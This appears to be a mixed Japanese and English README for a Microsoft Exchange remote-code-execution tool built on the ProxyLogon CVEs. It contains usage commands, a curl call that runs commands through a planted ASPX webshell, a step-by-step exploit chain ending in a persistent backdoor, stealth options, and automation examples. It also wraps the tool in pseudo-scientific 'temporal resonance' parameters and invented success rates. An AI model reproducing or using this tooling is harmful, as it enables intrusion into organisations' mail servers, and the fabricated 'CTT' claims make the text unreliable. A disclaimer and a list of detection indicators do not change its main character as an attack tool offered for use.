# Core CTT Parameters
CTT_ALPHA = 0.0302011          # Temporal dispersion coefficient
CTT_LAYERS = 33                # Fractal temporal layers
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061]  # Resonance windows

# Key Equations Implemented
# 1. α-dispersion: payload' = payload ⊕ (layer·α·1000) mod 256
# 2. Layer weight: w_d = exp(-α·d) for request timing
# 3. Prime resonance: f_res = 1/p μs timing alignment

# Required Python packages
pip install requests numpy cryptography urllib3

# Optional for advanced features
pip install scipy concurrent-log-handler

# 1. Detect Exchange Server
python ctt_exchange_rce.py https://exchange.corp.com

# 2. Full exploitation (7 temporal layers)
python ctt_exchange_rce.py 192.168.1.100 --layers 7

# 3. Stealth mode (prime timing only)
python ctt_exchange_rce.py https://mail.example.com --stealth

# 4. Manual webshell access
curl "https://exchange.corp.com/owa/auth/ctt_shell.aspx?ctt_cmd=whoami"

python ctt_exchange_rce.py <target> [options]

Options:
  --layers N       Number of CTT temporal layers (default: 7)
  --stealth        Enable prime-timing evasion only
  --verbose        Detailed output with CTT diagnostics
  --timeout N      Connection timeout in seconds (default: 10)
  --output FILE    Save results to JSON file
  --no-webshell    Skip webshell deployment (assessment only)

1. Exchange Server の検出
   → OWA、ECP、EWS、Autodiscover、MAPI エンドポイントを調査
   → バージョン指標とアクセス可能なサービスを特定

2. SSRF 脆弱性の確認（CVE-2021-26855）
   → X-BEResource ヘッダーインジェクションをテスト
   → SSRF による内部エンドポイントへのアクセスを検証
   → CTT: 素数タイミングによるリクエストフィルタリングのバイパス

3. Legacy DN 情報漏洩
   → SSRF を使用して EWS にアクセスし、ユーザー列挙を実行
   → SOAP リクエスト経由で管理者の LegacyDN を抽出
   → CTT: α 分散による SOAP ペイロードの難読化

4. SID 変換
   → LegacyDN をセキュリティ識別子（SID）に変換
   → WriteDACL エクスプロイトに必要
   → CTT: 精度を確保する多層検証

5. OAB 仮想ディレクトリへのアクセス
   → ECP カナリアの抽出と認証
   → ウェブシェル配置用の OAB ディレクトリを特定
   → CTT: 層固有のセッション管理

6. WriteDACL エクスプロイト（CVE-2021-27065）
   → OAB ディレクトリのアクセス許可を変更
   → 任意ファイル書き込み機能を獲得
   → CTT: 共鳴タイミングによる ECP リクエスト

7. ウェブシェル展開
   → OAB ExternalUrl 経由で ASPX ウェブシェルをアップロード
   → 時間的検証を備えた CTT 拡張シェル
   → 展開アーティファクトの自動クリーンアップ

8. コマンド実行
   → ウェブシェル経由で任意のコマンドを実行
   → CTT バックドア: 素数層アクティベーション（層 33）
   → 時間的共鳴による持続的アクセス

# Multi-layer success rates
Layer_Success = {
    'Layer 0-7':  '94.7%',    # High resonance zones
    'Layer 8-15': '92.1%',    # Medium resonance  
    'Layer 16-23':'88.3%',    # Lower resonance
    'Layer 24-32':'85.6%',    # Edge cases
    'Overall':    '90.2%',    # Weighted average
    'Standard':   '68.5%',    # Baseline without CTT
}

# ネットワークシグネチャ:
- X-CTT-Layer ヘッダーを含む HTTP リクエスト
- 素数タイミングのリクエスト（10007、10009μs 間隔）
- α 分散ペイロード（非標準エンコーディング）
- 層固有の User-Agent パターン

# ホストベースの指標:
- OAB ExternalUrl の変更
- 異常な ECP WriteDACL リクエスト
- /owa/auth/ctt_shell.aspx ファイルの作成
- ログ内の時間的共鳴パターン

# CTT 固有:
- 33 層のリクエストパターン
- タイミングにおける素数相関
- ペイロード内の α=0.0302011 係数

ctt_exchange_results_TIMESTAMP/
├── discovery.json           # 初期ターゲット評価
├── exploitation_log.json    # ステップごとの実行ログ
├── webshell_info.txt       # 展開したウェブシェルの詳細
├── commands_executed.txt   # コマンド実行履歴
├── ctt_metrics.json        # パフォーマンスと共鳴データ
└── layers/
    ├── layer_0.log         # 個別レイヤーの実行
    ├── layer_1.log
    ...
    └── layer_32.log

{
  "target": "https://exchange.corp.com",
  "vulnerable": true,
  "ctt_score": "10.0+",
  "exploitation_time": "42.7s",
  "successful_layers": [0, 3, 5, 7],
  "webshell_url": "https://exchange.corp.com/owa/auth/ctt_shell.aspx",
  "resonance_patterns": {
    "prime_alignment": 87.3,
    "layer_correlation": 91.8,
    "temporal_efficiency": 94.2
  }
}

# Modify in ctt_config.py for research
CTT_CONFIG = {
    'alpha': 0.0302011,           # Dispersion coefficient
    'layers': 33,                 # Temporal layers
    'primes': [10007, 10009, 10037],  # Resonance windows
    'stealth_mode': True,         # Maximum evasion
    'max_threads': 10,            # Concurrent layers
    'timeout_multiplier': 1.5,    # CTT timing adjustment
    'entropy_seed': 'custom_seed' # Cryptographic base
}

# 1. API Mode
from ctt_exchange_rce import CTT_ExchangeExploit

exploit = CTT_ExchangeExploit("https://target.com")
results = exploit.multi_layer_exploit(layers=5)
print(json.dumps(results, indent=2))

# 2. CI/CD Pipeline Integration
python -m ctt_exchange_rce --target ${TARGET} --output results.json

# 3. Automated Assessment
import subprocess
result = subprocess.run([
    "python", "ctt_exchange_rce.py",
    "https://exchange.corp.com",
    "--layers", "3",
    "--no-webshell"
], capture_output=True, text=True)

許可:
  - 所有するシステムに対するセキュリティ研究
  - 許可を得たペネトレーションテスト
  - CTT フレームワークの検証
  - 教育目的のデモンストレーション

禁止:
  - システムへの不正アクセス
  - 許可のない本番環境でのテスト
  - 悪意のあるエクスプロイト
  - データの窃取または破壊

# 脆弱性が発見された場合:
1. CTT 共鳴パターンを含む調査結果を文書化する
2. 承認されたチャネルを通じて組織に報告する
3. 技術的詳細をセキュリティコミュニティと共有する
4. 防御のための CTT 検出方法を公開する

このツールは、許可を得たセキュリティ研究専用です。
適用される法律および規制の遵守に関する責任はすべて
利用者にあります。著者は、不正または違法な使用に
対する一切の責任を負いません。

**CTT Exchange 問題テンプレート:**
- 対象の Exchange バージョン: 
- 使用した CTT パラメータ: 
- 観測された共鳴パターン: 
- レイヤー成功率: 
- エラーログ: 
- 改善提案:

[email protected]
PGP: [GitHub で入手可能]